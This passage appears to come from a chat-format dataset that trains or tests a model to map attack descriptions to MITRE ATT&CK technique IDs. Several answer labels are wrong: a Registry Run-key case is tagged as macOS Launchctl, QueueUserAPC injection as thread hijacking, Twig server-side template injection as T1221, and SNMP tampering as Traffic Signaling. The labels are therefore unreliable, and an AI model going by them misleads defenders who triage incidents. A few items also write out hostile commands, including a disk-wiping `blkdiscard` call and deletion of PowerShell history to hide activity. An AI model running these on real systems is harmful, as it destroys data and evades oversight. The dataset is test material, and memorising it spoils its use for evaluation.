                "content": "A malicious actor utilizes the Process Hollowing technique combined with DLL injection to replace the memory of a legitimate process with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware loads the LSASS process memory and retrieves decrypted LSA secret values to obtain domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary forces the victim's computer to mine cryptocurrency, consuming system resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the threat actor manipulated the domain's ACLs by modifying the Access Control Lists in Group Policy to grant themselves full control."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant deletes critical system logs before encrypting files to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor deploys a rootkit that extracts all stored credentials from the Apple Keychain for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set modified their exfiltration tool to eliminate any identifiable markers, such as creator comments or version numbers."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed credential stuffing on Reddit using credentials leaked from other breaches to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a federated identity trust (e.g., SAML) by compromising the identity provider of a trusted third‑party, allowing Single Sign‑On access to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group distributes a poisoned system update that overwrites the kernel image with a trojanized variant."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged previously compromised user credentials to gain remote desktop access to the victim's Windows workstation."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured SNMP community string on a traffic management device to read and alter traffic signal configurations."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a tool that parses backup archives for credential files like passwords.txt and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modify the process name of a malicious service to mimic \"Windows Defender Antivirus\" to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses CreateRemoteThreadEx to spawn a new thread in a victim process for executing malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code leverages the Exfiltration Over Physical Medium technique, transferring data via USB devices left unattended."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor executes 'net start' to display a list of services currently running on the victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a covert shell script that runs `chmod 777 /tmp/*.sh` and then executes each script to gain elevated privileges on the host."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a harmless-looking document that contains code which is compiled into an executable after being opened."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless attack leverages Right-to-Left Override in a Windows shortcut (.lnk) name to disguise the link to a malicious script, bypassing user scrutiny."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider rolled back a Google Cloud Compute Engine instance to a prior state, removing forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of VPN tunneling that passes through NAT, the adversary creates a tunnel that bridges the external network boundary to internal resources."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the creation of a hidden account with a name that mimics system processes to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection leverages QueueUserAPC to deliver malicious DLL code to a target thread, which runs the code when the thread processes the APC."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious path into the Image File Execution Options of wscript.exe, the attacker ensures that any script execution triggers their custom code."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates local Windows group memberships by running 'net localgroup' to discover privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs an automated process that tries a combination of user‑specific passwords derived from personal information against a corporate SSO portal."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrated the firewall's configuration backup to obtain network topology and credential information."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the COR_ENABLE_PROFILING flag and specifying a rogue profiler DLL via COR_PROFILER, the adversary intercepts managed code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inspecting the bash history of a privileged account, the attacker discovers credentials used for mounting network shares."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals use a compromised email account to request a new digital certificate from an internal PKI, then use it for malware signing."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised software installs a driver that captures and duplicates outbound traffic, sending the clones to a C2 address."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary periodically adds random junk data to network packets, making it difficult to identify the genuine payload."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disables the host's intrusion detection system by renaming its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the actor dumps LSA secrets from the victim's machine to acquire elevated credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a cloud function as a dead‑drop resolver, where the malware fetches JSON‑formatted instructions from the service."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable endpoint, the attacker obtains a valid session cookie and uses it for lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's toolkit contains an AppleScript that disables SIP (System Integrity Protection) by modifying NVRAM variables."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses \"curl https://ifconfig.me/ip\" to determine the victim's public IP address before establishing a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host has a hidden WMI subscription that fires a VBScript whenever a new network connection is established, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured firewall rule that permits external IPs to reach the cloud provider's metadata service, allowing credential extraction without needing a foothold on the instance."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a common shared library used by several applications, the adversary ensures its malicious code runs in the context of each application that loads the library."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed on an unsecured web server, allowing remote execution of commands on the underlying host."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor script modifies the authorized_keys file, adding the attacker’s SSH key for later use."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the import table of a target executable, the adversary redirects calls to a shared module to a malicious payload, achieving persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known software vulnerability to bypass the host's intrusion detection system and execute malicious code without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Windows Management Instrumentation (WMI) to gather information about running services."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies the Windows Registry \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" to run their malware on user logon."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary purchases a code signing certificate from a compromised Certificate Authority to sign malicious malware."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed credential dumping on a compromised EC2 instance to retrieve IAM role credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public DNS servers to retrieve the victim's domain's A, MX, and TXT records."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker provides data that is interpolated into a Twig template, allowing arbitrary PHP code execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses vDSO hijacking to execute shellcode in a privileged process on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a SOCKS5 proxy over an SSL/TLS tunnel to obfuscate its traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised Azure AD service account to gain persistent access to cloud workloads."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the serverless offering of Tencent Cloud SCF to execute persistent malicious tasks."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT updates the PE file by adding junk code blocks that never execute, effectively padding the binary."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor maps a Windows SMB share and copies all spreadsheets to a staging server before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a launch daemon definition on macOS that runs a script with root privileges each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used a shell wrapper to automate the collection of environment variables and system logs."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion installs a system service that runs a C2 loader whenever the machine restarts."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute arbitrary code by exploiting the Verclsid system binary as a proxy, pointing it to a malicious COM object."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to avoid detection, the attacker issued `Clear-Host` followed by `Remove-Item $env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt`."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder searches for PowerShell transcript logs to uncover previous command usage."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a custom packer to encrypt and compress the payload, making it harder for AV to recognize."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script removes auditd startup entries, ensuring the audit service does not start on reboot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the contents of a file while it is being accessed by a legitimate process, overwriting configuration parameters on the fly."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a private server on a compromised ISP network to host malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use social engineering over the phone to trick employees into disclosing network credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable plugin to inject a malicious script that exfiltrates form data from the site."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a Linux rootkit that issues `blkdiscard -s 0 /dev/sdb` to discard all blocks on the disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors purchase reports from threat intel providers to learn about the target's firewall configurations and endpoint protection products."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Component Object Model, the attacker causes a legitimate application to load a malicious library via a crafted COM registration entry."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Firmware of a network router is rewritten to intercept and exfiltrate traffic, persisting even after a factory reset."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised third-party vendor's credentials to access the target's internal network."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage team purchases blueprints of a secure communications device from a compromised supplier."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
